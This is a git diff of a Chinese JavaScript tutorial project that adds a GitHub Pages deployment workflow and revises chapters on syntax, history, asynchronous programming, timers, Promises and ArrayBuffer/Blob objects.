diff --git a/.github/workflows/wangdoc.yml b/.github/workflows/wangdoc.yml
new file mode 100644
index 0000000..c3e5cbe
--- /dev/null
+++ b/.github/workflows/wangdoc.yml
@@ -0,0 +1,36 @@
+name: JavaScript tutorial CI
+on:
+  push:
+    branches:
+      - master
+
+jobs:
+  page-generator:
+    name: Generating pages
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+        with:
+          persist-credentials: false
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: 'latest'
+      - name: Install dependencies
+        run: npm install
+      - name: Build pages
+        run: npm run build
+      - name: Deploy to website
+        uses: JamesIves/github-pages-deploy-action@v4
+        with:
+          git-config-name: wangdoc-bot
+          git-config-email: yifeng.ruan@gmail.com
+          repository-name: wangdoc/website
+          token: ${{ secrets.WANGDOC_BOT_TOKEN }}
+          branch: master # The branch the action should deploy to.
+          folder: dist # The folder the action should deploy.
+          target-folder: dist/javascript
+          clean: true # Automatically remove deleted files from the deploy branch
+          commit-message: update from JavaScript tutorial
+
diff --git a/.gitignore b/.gitignore
index 744d17c..01a7204 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,4 +1,4 @@
 node_modules/
 dist/
-package-lock.json
 npm-debug.log
+package-lock.json
diff --git a/.travis.yml b/.travis.yml.bak
similarity index 60%
rename from .travis.yml
rename to .travis.yml.bak
index ead9a81..3ad5ed5 100644
--- a/.travis.yml
+++ b/.travis.yml.bak
@@ -1,11 +1,18 @@
 language: node_js
 node_js:
-- '8'
+- 'node'
 
 branches:
   only:
   - master
 
+install:
+- npm ci
+# keep the npm cache around to speed up installs
+cache:
+  directories:
+  - "$HOME/.npm"
+
 script: bash ./deploy.sh
 env:
   global:
diff --git a/README.md b/README.md
index 193c114..b3f09b2 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,8 @@
-本教程全面介绍 JavaScript 核心语法，从最简单的开始讲起，循序渐进、由浅入深，力求清晰易懂。所有章节都带有大量的代码实例，便于理解和模仿，可以用到实际项目中，即学即用。
+本教程全面介绍 JavaScript 核心语法，覆盖了 ES5 和 DOM 规范的所有内容。
+
+内容上从最简单的讲起，循序渐进、由浅入深，力求清晰易懂。所有章节都带有大量的代码实例，便于理解和模仿，可以用到实际项目中，即学即用。
+
+本教程适合初学者当作 JavaScript 语言入门教程，学完后就可以承担实际的网页开发工作，也适合当作日常使用的参考手册。
+
+JavaScript 后续新增的 ES6 语法，请看[《ES6 标准入门教程》](https://wangdoc.com/es6/)。
 
-本教程适合初学者当作 JavaScript 语言的入门教程，也适合当作日常使用的参考手册。
diff --git a/chapters.yml b/chapters.yml
index 4d53fe1..d15194b 100644
--- a/chapters.yml
+++ b/chapters.yml
@@ -89,3 +89,4 @@
 - elements/input.md: <input>
 - elements/button.md: <button>
 - elements/option.md: <option>
+- elements/video.md: <video>，<audio>
diff --git a/docs/async/general.md b/docs/async/general.md
index 022f8c8..a745bfe 100644
--- a/docs/async/general.md
+++ b/docs/async/general.md
@@ -12,7 +12,7 @@ JavaScript 之所以采用单线程，而不是多线程，跟历史有关系。
 
 如果排队是因为计算量大，CPU 忙不过来，倒也算了，但是很多时候 CPU 是闲着的，因为 IO 操作（输入输出）很慢（比如 Ajax 操作从网络读取数据），不得不等着结果出来，再往下执行。JavaScript 语言的设计者意识到，这时 CPU 完全可以不管 IO 操作，挂起处于等待中的任务，先运行排在后面的任务。等到 IO 操作返回了结果，再回过头，把挂起的任务继续执行下去。这种机制就是 JavaScript 内部采用的“事件循环”机制（Event Loop）。
 
-单线程模型虽然对 JavaScript 构成了很大的限制，但也因此使它具备了其他语言不具备的优势。如果用得好，JavaScript 程序是不会出现堵塞的，这就是为什么 Node 可以用很少的资源，应付大流量访问的原因。
+单线程模型虽然对 JavaScript 构成了很大的限制，但也因此使它具备了其他语言不具备的优势。如果用得好，JavaScript 程序是不会出现堵塞的，这就是 Node.js 可以用很少的资源，应付大流量访问的原因。
 
 为了利用多核 CPU 的计算能力，HTML5 提出 Web Worker 标准，允许 JavaScript 脚本创建多个线程，但是子线程完全受主线程控制，且不得操作 DOM。所以，这个新标准并没有改变 JavaScript 单线程的本质。
 
@@ -22,7 +22,7 @@ JavaScript 之所以采用单线程，而不是多线程，跟历史有关系。
 
 同步任务是那些没有被引擎挂起、在主线程上排队执行的任务。只有前一个任务执行完毕，才能执行后一个任务。
 
-异步任务是那些被引擎放在一边，不进入主线程、而进入任务队列的任务。只有引擎认为某个异步任务可以执行了（比如 Ajax 操作从服务器得到了结果），该任务（采用回调函数的形式）才会进入主线程执行。排在异步任务后面的代码，不用等待异步任务结束会马上运行，也就是说，异步任务不具有”堵塞“效应。
+异步任务是那些被引擎放在一边，不进入主线程、而进入任务队列的任务。只有引擎认为某个异步任务可以执行了（比如 Ajax 操作从服务器得到了结果），该任务（采用回调函数的形式）才会进入主线程执行。排在异步任务后面的代码，不用等待异步任务结束会马上运行，也就是说，异步任务不具有“堵塞”效应。
 
 举例来说，Ajax 操作可以当作同步任务处理，也可以当作异步任务处理，由开发者决定。如果是同步任务，主线程就等着 Ajax 操作返回结果，再往下执行；如果是异步任务，主线程在发出 Ajax 请求以后，就直接往下执行，等到 Ajax 操作有了结果，主线程再执行对应的回调函数。
 
@@ -101,11 +101,11 @@ function f1() {
 
 上面代码中，`f1.trigger('done')`表示，执行完成后，立即触发`done`事件，从而开始执行`f2`。
 
-这种方法的优点是比较容易理解，可以绑定多个事件，每个事件可以指定多个回调函数，而且可以”[去耦合](http://en.wikipedia.org/wiki/Decoupling)“（decoupling），有利于实现模块化。缺点是整个程序都要变成事件驱动型，运行流程会变得很不清晰。阅读代码的时候，很难看出主流程。
+这种方法的优点是比较容易理解，可以绑定多个事件，每个事件可以指定多个回调函数，而且可以“[去耦合](http://en.wikipedia.org/wiki/Decoupling)”（decoupling），有利于实现模块化。缺点是整个程序都要变成事件驱动型，运行流程会变得很不清晰。阅读代码的时候，很难看出主流程。
 
 ### 发布/订阅
 
-事件完全可以理解成”信号“，如果存在一个”信号中心“，某个任务执行完成，就向信号中心”发布“（publish）一个信号，其他任务可以向信号中心”订阅“（subscribe）这个信号，从而知道什么时候自己可以开始执行。这就叫做”[发布/订阅模式](http://en.wikipedia.org/wiki/Publish-subscribe_pattern)”（publish-subscribe pattern），又称“[观察者模式](http://en.wikipedia.org/wiki/Observer_pattern)”（observer pattern）。
+事件完全可以理解成“信号”，如果存在一个“信号中心”，某个任务执行完成，就向信号中心“发布”（publish）一个信号，其他任务可以向信号中心“订阅”（subscribe）这个信号，从而知道什么时候自己可以开始执行。这就叫做”[发布/订阅模式](http://en.wikipedia.org/wiki/Publish-subscribe_pattern)”（publish-subscribe pattern），又称“[观察者模式](http://en.wikipedia.org/wiki/Observer_pattern)”（observer pattern）。
 
 这个模式有多种[实现](http://msdn.microsoft.com/en-us/magazine/hh201955.aspx)，下面采用的是 Ben Alman 的 [Tiny Pub/Sub](https://gist.github.com/661855)，这是 jQuery 的一个插件。
 
@@ -156,17 +156,24 @@ function final(value) {
   console.log('完成: ', value);
 }
 
-async(1, function(value){
-  async(value, function(value){
-    async(value, function(value){
-      async(value, function(value){
-        async(value, function(value){
-          async(value, final);
+async(1, function (value) {
+  async(2, function (value) {
+    async(3, function (value) {
+      async(4, function (value) {
+        async(5, function (value) {
+          async(6, final);
         });
       });
     });
   });
 });
+// 参数为 1 , 1秒后返回结果
+// 参数为 2 , 1秒后返回结果
+// 参数为 3 , 1秒后返回结果
+// 参数为 4 , 1秒后返回结果
+// 参数为 5 , 1秒后返回结果
+// 参数为 6 , 1秒后返回结果
+// 完成:  12
 ```
 
 上面代码中，六个回调函数的嵌套，不仅写起来麻烦，容易出错，而且难以维护。
@@ -264,7 +271,7 @@ function launcher() {
       running--;
       if(items.length > 0) {
         launcher();
-      } else if(running == 0) {
+      } else if(running === 0) {
         final(results);
       }
     });
@@ -278,4 +285,3 @@ launcher();
 上面代码中，最多只能同时运行两个异步任务。变量`running`记录当前正在运行的任务数，只要低于门槛值，就再启动一个新的任务，如果等于`0`，就表示所有任务都执行完了，这时就执行`final`函数。
 
 这段代码需要三秒完成整个脚本，处在串行执行和并行执行之间。通过调节`limit`变量，达到效率和资源的最佳平衡。
-
diff --git a/docs/async/promise.md b/docs/async/promise.md
index fe69b28..cb629d7 100644
--- a/docs/async/promise.md
+++ b/docs/async/promise.md
@@ -114,7 +114,7 @@ timeout(100)
 
 Promise 实例的`then`方法，用来添加回调函数。
 
-`then`方法可以接受两个回调函数，第一个是异步操作成功时（变为`fulfilled`状态）时的回调函数，第二个是异步操作失败（变为`rejected`）时的回调函数（该参数可以省略）。一旦状态改变，就调用相应的回调函数。
+`then`方法可以接受两个回调函数，第一个是异步操作成功时（变为`fulfilled`状态）的回调函数，第二个是异步操作失败（变为`rejected`）时的回调函数（该参数可以省略）。一旦状态改变，就调用相应的回调函数。
 
 ```javascript
 var p1 = new Promise(function (resolve, reject) {
@@ -217,7 +217,9 @@ var preloadImage = function (path) {
 };
 ```
 
-上面的`preloadImage`函数用法如下。
+上面代码中，`image`是一个图片对象的实例。它有两个事件监听属性，`onload`属性在图片加载成功后调用，`onerror`属性在加载失败调用。
+
+上面的`preloadImage()`函数用法如下。
 
 ```javascript
 preloadImage('https://example.com/my.jpg')
@@ -225,6 +227,8 @@ preloadImage('https://example.com/my.jpg')
   .then(function () { console.log('加载成功') })
 ```
 
+上面代码中，图片加载成功以后，`onload`属性会返回一个事件对象，因此第一个`then()`方法的回调函数，会接收到这个事件对象。该对象的`target`属性就是图片加载后生成的 DOM 节点。
+
 ## 小结
 
 Promise 的优点在于，让回调函数变成了规范的链式写法，程序流程可以看得很清楚。它有一整套接口，可以实现许多强大的功能，比如同时执行多个异步操作，等到它们的状态都改变以后，再执行一个回调函数；再比如，为多个回调函数中抛出的错误，统一指定处理方法等等。
@@ -270,7 +274,7 @@ console.log(3);
 
 ## 参考链接
 
-- Sebastian Porto, [Asynchronous JS: Callbacks, Listeners, Control Flow Libs and Promises](http://sporto.github.com/blog/2012/12/09/callbacks-listeners-promises/)
+- Sebastian Porto, [Asynchronous JS: Callbacks, Listeners, Control Flow Libs and Promises](https://sporto.github.io/blog/2012/12/09/callbacks-listeners-promises/)
 - Rhys Brett-Bowen, [Promises/A+ - understanding the spec through implementation](http://modernjavascript.blogspot.com/2013/08/promisesa-understanding-by-doing.html)
 - Matt Podwysocki, Amanda Silver, [Asynchronous Programming in JavaScript with “Promises”](http://blogs.msdn.com/b/ie/archive/2011/09/11/asynchronous-programming-in-javascript-with-promises.aspx)
 - Marc Harter, [Promise A+ Implementation](https://gist.github.com//wavded/5692344)
diff --git a/docs/async/timer.md b/docs/async/timer.md
index a339f8d..3aa4ae9 100644
--- a/docs/async/timer.md
+++ b/docs/async/timer.md
@@ -190,6 +190,7 @@ setTimeout(f, 1000) // 12
 
 ```javascript
 (function() {
+  // 每轮事件循环检查一次
   var gid = setInterval(clearAllTimeouts, 0);
 
   function clearAllTimeouts() {
@@ -288,6 +289,8 @@ console.log(2);
 
 总之，`setTimeout(f, 0)`这种写法的目的是，尽可能早地执行`f`，但是并不能保证立刻就执行`f`。
 
+实际上，`setTimeout(f, 0)`不会真的在0毫秒之后运行，不同的浏览器有不同的实现。以 Edge 浏览器为例，会等到4毫秒之后运行。如果电脑正在使用电池供电，会等到16毫秒之后运行；如果网页不在当前 Tab 页，会推迟到1000毫秒（1秒）之后运行。这样是为了节省系统资源。
+
 ### 应用
 
 `setTimeout(f, 0)`有几个非常重要的用途。它的一大应用是，可以调整事件的发生顺序。比如，网页开发中，某个事件先发生在子元素，然后冒泡到父元素，即子元素的事件回调函数，会早于父元素的事件回调函数触发。如果，想让父元素的事件回调函数先发生，就要用到`setTimeout(f, 0)`。
@@ -361,4 +364,3 @@ timer = setTimeout(func, 0);
 上面代码有两种写法，都是改变一个网页元素的背景色。写法一会造成浏览器“堵塞”，因为 JavaScript 执行速度远高于 DOM，会造成大量 DOM 操作“堆积”，而写法二就不会，这就是`setTimeout(f, 0)`的好处。
 
 另一个使用这种技巧的例子是代码高亮的处理。如果代码块很大，一次性处理，可能会对性能造成很大的压力，那么将其分成一个个小块，一次处理一块，比如写成`setTimeout(highlightNext, 50)`的样子，性能压力就会减轻。
-
diff --git a/docs/basic/grammar.md b/docs/basic/grammar.md
index 52e329e..b0dea02 100644
--- a/docs/basic/grammar.md
+++ b/docs/basic/grammar.md
@@ -20,7 +20,7 @@ var a = 1 + 3;
 var a = 1 + 3 ; var b = 'abc';
 ```
 
-分号前面可以没有任何内容，JavaScript引擎将其视为空语句。
+分号前面可以没有任何内容，JavaScript 引擎将其视为空语句。
 
 ```javascript
 ;;;
@@ -58,7 +58,7 @@ var a;
 a = 1;
 ```
 
-如果只是声明变量而没有赋值，则该变量的值是`undefined`。`undefined`是一个 JavaScript 关键字，表示“无定义”。
+如果只是声明变量而没有赋值，则该变量的值是`undefined`。`undefined`是一个特殊的值，表示“无定义”。
 
 ```javascript
 var a;
@@ -177,11 +177,11 @@ a+b  // 标识符不能包含加号
 var 临时变量 = 1;
 ```
 
-> JavaScript有一些保留字，不能用作标识符：arguments、break、case、catch、class、const、continue、debugger、default、delete、do、else、enum、eval、export、extends、false、finally、for、function、if、implements、import、in、instanceof、interface、let、new、null、package、private、protected、public、return、static、super、switch、this、throw、true、try、typeof、var、void、while、with、yield。
+> JavaScript 有一些保留字，不能用作标识符：arguments、break、case、catch、class、const、continue、debugger、default、delete、do、else、enum、eval、export、extends、false、finally、for、function、if、implements、import、in、instanceof、interface、let、new、null、package、private、protected、public、return、static、super、switch、this、throw、true、try、typeof、var、void、while、with、yield。
 
 ## 注释
 
-源码中被 JavaScript 引擎忽略的部分就叫做注释，它的作用是对代码进行解释。Javascript 提供两种注释的写法：一种是单行注释，用`//`起头；另一种是多行注释，放在`/*`和`*/`之间。
+源码中被 JavaScript 引擎忽略的部分就叫做注释，它的作用是对代码进行解释。JavaScript 提供两种注释的写法：一种是单行注释，用`//`起头；另一种是多行注释，放在`/*`和`*/`之间。
 
 ```javascript
 // 这是单行注释
@@ -238,7 +238,7 @@ JavaScript 提供`if`结构和`switch`结构，完成条件判断，即只有满
 
 ### if 结构
 
-`if`结构先判断一个表达式的布尔值，然后根据布尔值的真伪，执行不同的语句。所谓布尔值，指的是 JavaScript 的两个特殊值，`true`表示真，`false`表示`伪`。
+`if`结构先判断一个表达式的布尔值，然后根据布尔值的真伪，执行不同的语句。所谓布尔值，指的是 JavaScript 的两个特殊值，`true`表示“真”，`false`表示“伪”。
 
 ```javascript
 if (布尔值)
@@ -333,7 +333,7 @@ else console.log('world');
 ```javascript
 if (m !== 1) {
   if (n === 2) {
-    console.log('hello');	
+    console.log('hello');
   } else {
     console.log('world');
   }
@@ -345,7 +345,7 @@ if (m !== 1) {
 ```javascript
 if (m !== 1) {
   if (n === 2) {
-    console.log('hello');	
+    console.log('hello');
   }
 } else {
   console.log('world');
@@ -425,6 +425,7 @@ var x = 1;
 switch (x) {
   case true:
     console.log('x 发生类型转换');
+    break;
   default:
     console.log('x 没有发生类型转换');
 }
@@ -435,7 +436,7 @@ switch (x) {
 
 ### 三元运算符 ?:
 
-JavaScript还有一个三元运算符（即该运算符需要三个运算子）`?:`，也可以用于逻辑判断。
+JavaScript 还有一个三元运算符（即该运算符需要三个运算子）`?:`，也可以用于逻辑判断。
 
 ```javascript
 (条件) ? 表达式1 : 表达式2
@@ -484,7 +485,7 @@ var msg = '数字' + n + '是' + (n % 2 === 0 ? '偶数' : '奇数');
 
 ### while 循环
 
-`While`语句包括一个循环条件和一段代码块，只要条件为真，就不断循环执行代码块。
+`while`语句包括一个循环条件和一段代码块，只要条件为真，就不断循环执行代码块。
 
 ```javascript
 while (条件)
@@ -726,5 +727,4 @@ top:
 
 ## 参考链接
 
-- Axel Rauschmayer, [A quick overview of JavaScript](http://www.2ality.com/2011/10/javascript-overview.html)
-
+- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](https://2ality.com/2013/06/basic-javascript.html)
diff --git a/docs/basic/history.md b/docs/basic/history.md
index 4f782cd..f5c266b 100644
--- a/docs/basic/history.md
+++ b/docs/basic/history.md
@@ -51,7 +51,7 @@ JavaScript 语言的函数是一种独立的数据类型，以及采用基于原
 
 ## JavaScript 与 ECMAScript 的关系
 
-1996年8月，微软模仿 JavaScript 开发了一种相近的语言，取名为JScript（JavaScript是Netscape的注册商标，微软不能用），首先内置于IE 3.0。Netscape 公司面临丧失浏览器脚本语言的主导权的局面。
+1996年8月，微软模仿 JavaScript 开发了一种相近的语言，取名为JScript（JavaScript 是 Netscape 的注册商标，微软不能用），首先内置于IE 3.0。Netscape 公司面临丧失浏览器脚本语言的主导权的局面。
 
 1996年11月，Netscape 公司决定将 JavaScript 提交给国际标准化组织 ECMA（European Computer Manufacturers Association），希望 JavaScript 能够成为国际标准，以此抵抗微软。ECMA 的39号技术委员会（Technical Committee 39）负责制定和审核这个标准，成员由业内的大公司派出的工程师组成，目前共25个人。该委员会定期开会，所有的邮件讨论和会议记录，都是公开的。
 
@@ -61,7 +61,7 @@ ECMAScript 只用来标准化 JavaScript 这种语言的基本语法结构，与
 
 ECMA-262 标准后来也被另一个国际标准化组织 ISO（International Organization for Standardization）批准，标准号是 ISO-16262。
 
-## JavaScript的版本
+## JavaScript 的版本
 
 1997年7月，ECMAScript 1.0发布。
 
@@ -75,13 +75,13 @@ ECMA-262 标准后来也被另一个国际标准化组织 ISO（International Or
 
 2009年12月，ECMAScript 5.0版 正式发布。Harmony 项目则一分为二，一些较为可行的设想定名为 JavaScript.next 继续开发，后来演变成 ECMAScript 6；一些不是很成熟的设想，则被视为 JavaScript.next.next，在更远的将来再考虑推出。TC39 的总体考虑是，ECMAScript 5 与 ECMAScript 3 基本保持兼容，较大的语法修正和新功能加入，将由 JavaScript.next 完成。当时，JavaScript.next 指的是ECMAScript 6。第六版发布以后，将指 ECMAScript 7。TC39 预计，ECMAScript 5 会在2013年的年中成为 JavaScript 开发的主流标准，并在此后五年中一直保持这个位置。
 
-2011年6月，ECMAscript 5.1版发布，并且成为 ISO 国际标准（ISO/IEC 16262:2011）。到了2012年底，所有主要浏览器都支持 ECMAScript 5.1版的全部功能。
+2011年6月，ECMAScript 5.1版发布，并且成为 ISO 国际标准（ISO/IEC 16262:2011）。到了2012年底，所有主要浏览器都支持 ECMAScript 5.1版的全部功能。
 
 2013年3月，ECMAScript 6 草案冻结，不再添加新功能。新的功能设想将被放到 ECMAScript 7。
 
 2013年12月，ECMAScript 6 草案发布。然后是12个月的讨论期，听取各方反馈。
 
-2015年6月，ECMAScript 6 正式发布，并且更名为“ECMAScript 2015”。这是因为 TC39 委员会计划，以后每年发布一个 ECMAScript 的版本，下一个版本在2016年发布，称为”ECMAScript 2016”，2017年发布“ECMAScript 2017”，以此类推。
+2015年6月，ECMAScript 6 正式发布，并且更名为“ECMAScript 2015”。这是因为 TC39 委员会计划，以后每年发布一个 ECMAScript 的版本，下一个版本在2016年发布，称为“ECMAScript 2016”，2017年发布“ECMAScript 2017”，以此类推。
 
 ## 周边大事记
 
@@ -125,13 +125,13 @@ JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快
 
 2007年，Webkit 引擎在 iPhone 手机中得到部署。它最初基于 KDE 项目，2003年苹果公司首先采用，2005年开源。这标志着 JavaScript 语言开始能在手机中使用了，意味着有可能写出在桌面电脑和手机中都能使用的程序。
 
-2007年，Douglas Crockford 发表了名为《JavaScript: The good parts》的演讲，次年由 O'Reilly 出版社出版。这标志着软件行业开始严肃对待 JavaScript 语言，对它的语法开始重新认识，
+2007年，Douglas Crockford 发表了名为《JavaScript: The good parts》的演讲，次年由 O'Reilly 出版社出版。这标志着软件行业开始严肃对待 JavaScript 语言，对它的语法开始重新认识。
 
 2008年，V8 编译器诞生。这是 Google 公司为 Chrome 浏览器而开发的，它的特点是让 JavaScript 的运行变得非常快。它提高了 JavaScript 的性能，推动了语法的改进和标准化，改变外界对 JavaScript 的不佳印象。同时，V8 是开源的，任何人想要一种快速的嵌入式脚本语言，都可以采用 V8，这拓展了 JavaScript 的应用领域。
 
 2009年，Node.js 项目诞生，创始人为 Ryan Dahl，它标志着 JavaScript 可以用于服务器端编程，从此网站的前端和后端可以使用同一种语言开发。并且，Node.js 可以承受很大的并发流量，使得开发某些互联网大规模的实时应用变得容易。
 
-2009年，Jeremy Ashkenas 发布了 CoffeeScript 的最初版本。CoffeeScript 可以被转换为 JavaScript 运行，但是语法要比 JavaScript简洁。这开启了其他语言转为 JavaScript 的风潮。
+2009年，Jeremy Ashkenas 发布了 CoffeeScript 的最初版本。CoffeeScript 可以被转换为 JavaScript 运行，但是语法要比 JavaScript 简洁。这开启了其他语言转为 JavaScript 的风潮。
 
 2009年，PhoneGap 项目诞生，它将 HTML5 和 JavaScript 引入移动设备的应用程序开发，主要针对 iOS 和 Android 平台，使得 JavaScript 可以用于跨平台的应用程序开发。
 
@@ -169,7 +169,7 @@ JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快
 
 2015年5月，Google 公司的 Polymer 框架发布1.0版。该项目的目标是生产环境可以使用 WebComponent 组件，如果能够达到目标，Web 开发将进入一个全新的以组件为开发基础的阶段。
 
-2015年6月，ECMA 标准化组织正式批准了 ECMAScript 6 语言标准，定名为《ECMAScript 2015 标准》。JavaScript语言正式进入了下一个阶段，成为一种企业级的、开发大规模应用的语言。这个标准从提出到批准，历时10年，而 JavaScript 语言从诞生至今也已经20年了。
+2015年6月，ECMA 标准化组织正式批准了 ECMAScript 6 语言标准，定名为《ECMAScript 2015 标准》。JavaScript 语言正式进入了下一个阶段，成为一种企业级的、开发大规模应用的语言。这个标准从提出到批准，历时10年，而 JavaScript 语言从诞生至今也已经20年了。
 
 2015年6月，Mozilla 在 asm.js 的基础上发布 WebAssembly 项目。这是一种 JavaScript 引擎的中间码格式，全部都是二进制，类似于 Java 的字节码，有利于移动设备加载 JavaScript 脚本，执行速度提高了 20+ 倍。这意味着将来的软件，会发布 JavaScript 二进制包。
 
@@ -181,8 +181,7 @@ JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快
 
 ## 参考链接
 
-- Axel Rauschmayer, [The Past, Present, and Future of JavaScript](http://oreilly.com/javascript/radarreports/past-present-future-javascript.csp)
+- Axel Rauschmayer, [The Past, Present, and Future of JavaScript](https://www.oreilly.com/library/view/the-past-present/9781449343545/)
 - John Dalziel, [The race for speed part 4: The future for JavaScript](http://creativejs.com/2013/06/the-race-for-speed-part-4-the-future-for-javascript/)
-- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](http://www.2ality.com/2013/06/basic-javascript.html)
-- resin.io, [Happy 18th Birthday JavaScript! A look at an unlikely past and bright future](http://resin.io/happy-18th-birthday-javascript/)
-
+- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](https://www.2ality.com/2013/06/basic-javascript.html)
+- balena.io, [Happy 18th Birthday JavaScript! A look at an unlikely past and bright future](https://www.balena.io/blog/happy-18th-birthday-javascript/)
diff --git a/docs/basic/introduction.md b/docs/basic/introduction.md
index 0bdb9a1..f6d5173 100644
--- a/docs/basic/introduction.md
+++ b/docs/basic/introduction.md
@@ -69,11 +69,11 @@ Mozilla 基金会的手机操作系统 Firefox OS，更是直接将 JavaScript 
 
 **（6）跨平台的桌面应用程序**
 
-Chromium OS、Windows 8 等操作系统直接支持 JavaScript 编写应用程序。Mozilla 的 Open Web Apps 项目、Google 的 [Chrome App 项目](http://developer.chrome.com/apps/about_apps)、Github 的 [Electron 项目](http://electron.atom.io/)、以及 [TideSDK 项目](http://tidesdk.multipart.net/docs/user-dev/generated/)，都可以用来编写运行于 Windows、Mac OS 和 Android 等多个桌面平台的程序，不依赖浏览器。
+Chromium OS、Windows 8 等操作系统直接支持 JavaScript 编写应用程序。Mozilla 的 Open Web Apps 项目、Google 的 [Chrome App 项目](http://developer.chrome.com/apps/about_apps)、GitHub 的 [Electron 项目](http://electron.atom.io/)、以及 [TideSDK 项目](http://tidesdk.multipart.net/docs/user-dev/generated/)，都可以用来编写运行于 Windows、Mac OS 和 Android 等多个桌面平台的程序，不依赖浏览器。
 
 **（7）小结**
 
-可以预期，JavaScript 最终将能让你只用一种语言，就开发出适应不同平台（包括桌面端、服务器端、手机端）的程序。早在2013年9月的[统计](http://adambard.com/blog/top-github-languages-for-2013-so-far/)之中，JavaScript 就是当年 Github 上使用量排名第一的语言。
+可以预期，JavaScript 最终将能让你只用一种语言，就开发出适应不同平台（包括桌面端、服务器端、手机端）的程序。早在2013年9月的[统计](http://adambard.com/blog/top-github-languages-for-2013-so-far/)之中，JavaScript 就是当年 GitHub 上使用量排名第一的语言。
 
 著名程序员 Jeff Atwood 甚至提出了一条 [“Atwood 定律”](http://www.codinghorror.com/blog/2007/07/the-principle-of-least-power.html)：
 
@@ -162,4 +162,3 @@ function greetMe(yourName) {
 greetMe('World')
 // Hello World
 ```
-
diff --git a/docs/bom/arraybuffer.md b/docs/bom/arraybuffer.md
index acd35ac..89a5ddd 100644
--- a/docs/bom/arraybuffer.md
+++ b/docs/bom/arraybuffer.md
@@ -2,7 +2,7 @@
 
 ## ArrayBuffer 对象
 
-ArrayBuffer 对象表示一段二进制数据，用来模拟内存里面的数据。通过这个对象，JavaScript 可以读写二进制数据。
+ArrayBuffer 对象表示一段二进制数据，用来模拟内存里面的数据。通过这个对象，JavaScript 可以读写二进制数据。这个对象可以看作内存数据的表达。
 
 这个对象是 ES6 才写入标准的，普通的网页编程用不到它，为了教程体系的完整，下面只提供一个简略的介绍，详细介绍请看《ES6 标准入门》里面的章节。
 
@@ -14,12 +14,11 @@ var buffer = new ArrayBuffer(8);
 
 上面代码中，实例对象`buffer`占用8个字节。
 
-ArrayBuffer 对象有实例属性`length`和`byteLength`，都表示当前实例占用的内存长度（单位字节）。
+ArrayBuffer 对象有实例属性`byteLength`，表示当前实例占用的内存长度（单位字节）。
 
 ```javascript
 var buffer = new ArrayBuffer(8);
-buffer.length // 8
-buffer.length // 8
+buffer.byteLength // 8
 ```
 
 ArrayBuffer 对象有实例方法`slice()`，用来复制一部分内存。它接受两个整数参数，分别表示复制的开始位置（从0开始）和结束位置（复制时不包括结束位置），如果省略第二个参数，则表示一直复制到结束。
@@ -33,7 +32,9 @@ var buf2 = buf1.slice(0);
 
 ## Blob 对象
 
-Blob 对象表示一个二进制文件的数据内容，比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件。
+### 简介
+
+Blob 对象表示一个二进制文件的数据内容，比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件，它的名字是 Binary Large Object （二进制大型对象）的缩写。它与 ArrayBuffer 的区别在于，它用于操作二进制文件，而 ArrayBuffer 用于操作内存。
 
 浏览器原生提供`Blob()`构造函数，用来生成实例对象。
 
@@ -57,6 +58,8 @@ var obj = { hello: 'world' };
 var blob = new Blob([ JSON.stringify(obj) ], {type : 'application/json'});
 ```
 
+### 实例属性和实例方法
+
 `Blob`具有两个实例属性`size`和`type`，分别返回数据的大小和类型。
 
 ```javascript
@@ -70,8 +73,141 @@ myBlob.type // "text/html"
 `Blob`具有一个实例方法`slice`，用来拷贝原来的数据，返回的也是一个`Blob`实例。
 
 ```javascript
-myBlob.slice(start，end, contentType)
+myBlob.slice(start, end, contentType)
 ```
 
 `slice`方法有三个参数，都是可选的。它们依次是起始的字节位置（默认为0）、结束的字节位置（默认为`size`属性的值，该位置本身将不包含在拷贝的数据之中）、新实例的数据类型（默认为空字符串）。
 
+### 获取文件信息
+
+文件选择器`<input type="file">`用来让用户选取文件。出于安全考虑，浏览器不允许脚本自行设置这个控件的`value`属性，即文件必须是用户手动选取的，不能是脚本指定的。一旦用户选好了文件，脚本就可以读取这个文件。
+
+文件选择器返回一个 FileList 对象，该对象是一个类似数组的成员，每个成员都是一个 File 实例对象。File 实例对象是一个特殊的 Blob 实例，增加了`name`和`lastModifiedDate`属性。
+
+```javascript
+// HTML 代码如下
+// <input type="file" accept="image/*" multiple onchange="fileinfo(this.files)"/>
+
+function fileinfo(files) {
+  for (var i = 0; i < files.length; i++) {
+    var f = files[i];
+    console.log(
+      f.name, // 文件名，不含路径
+      f.size, // 文件大小，Blob 实例属性
+      f.type, // 文件类型，Blob 实例属性
+      f.lastModifiedDate // 文件的最后修改时间
+    );
+  }
+}
+```
+
+除了文件选择器，拖放 API 的`dataTransfer.files`返回的也是一个FileList 对象，它的成员因此也是 File 实例对象。
+
+### 下载文件
+
+AJAX 请求时，如果指定`responseType`属性为`blob`，下载下来的就是一个 Blob 对象。
+
+```javascript
+function getBlob(url, callback) {
+  var xhr = new XMLHttpRequest();
+  xhr.open('GET', url);
+  xhr.responseType = 'blob';
+  xhr.onload = function () {
+    callback(xhr.response);
+  }
+  xhr.send(null);
+}
+```
+
+上面代码中，`xhr.response`拿到的就是一个 Blob 对象。
+
+### 生成 URL
+
+浏览器允许使用`URL.createObjectURL()`方法，针对 Blob 对象生成一个临时 URL，以便于某些 API 使用。这个 URL 以`blob://`开头，表明对应一个 Blob 对象，协议头后面是一个识别符，用来唯一对应内存里面的 Blob 对象。这一点与`data://URL`（URL 包含实际数据）和`file://URL`（本地文件系统里面的文件）都不一样。
+
+```javascript
+var droptarget = document.getElementById('droptarget');
+
+droptarget.ondrop = function (e) {
+  var files = e.dataTransfer.files;
+  for (var i = 0; i < files.length; i++) {
+    var type = files[i].type;
+    if (type.substring(0,6) !== 'image/')
+      continue;
+    var img = document.createElement('img');
+    img.src = URL.createObjectURL(files[i]);
+    img.onload = function () {
+      this.width = 100;
+      document.body.appendChild(this);
+      URL.revokeObjectURL(this.src);
+    }
+  }
+}
+```
+
